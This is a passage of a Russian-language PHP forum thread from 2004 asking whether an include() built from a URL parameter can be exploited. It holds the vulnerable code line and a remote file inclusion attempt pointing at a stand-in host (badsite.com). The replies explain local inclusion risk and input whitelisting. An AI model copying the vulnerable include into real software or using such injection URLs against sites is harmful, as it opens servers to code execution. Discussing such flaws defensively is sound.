Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Вопрос по инклуду

2.1K
16 августа 2004 года
Nicca
29 / / 27.03.2004
У меня есть такие строки в скрипте:
include('languages/'.$lang.'.php');
где переменная $lang приходит из адресной строки. Реально ли мой скрипт взламать? Если да то как. Я пробовал подставлять в адр. строку: news.php?lang=http://badsite.com/1.php. Но вроде бы все нормально - выдает ошибку. Подскажите плз.
4
17 августа 2004 года
mike
3.7K / / 01.10.2002
Из-за этого кода пользователь от твоего имени (или от имени твоего httpd) может выполнить любой PHP скрипт, находящийся на этом же сервере.

А вот если ограничить содержимое $lang простыми условиями, то этого можно избежать.

Например $lang должна содержать только латинские символы. Максимальная длина - 8 символов, минимальная длина - 2 символа, и файла languages/$lang.php должен существовать.
2.1K
17 августа 2004 года
Nicca
29 / / 27.03.2004
Цитата:
Originally posted by mike
Из-за этого кода пользователь от твоего имени (или от имени твоего httpd) может выполнить любой PHP скрипт, находящийся на этом же сервере.


Тоесть если хакер возьмет себе сервер для хостинга что и у меня и даст в параметре относительный путь на свою папку с "плохим" скриптом, так?

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог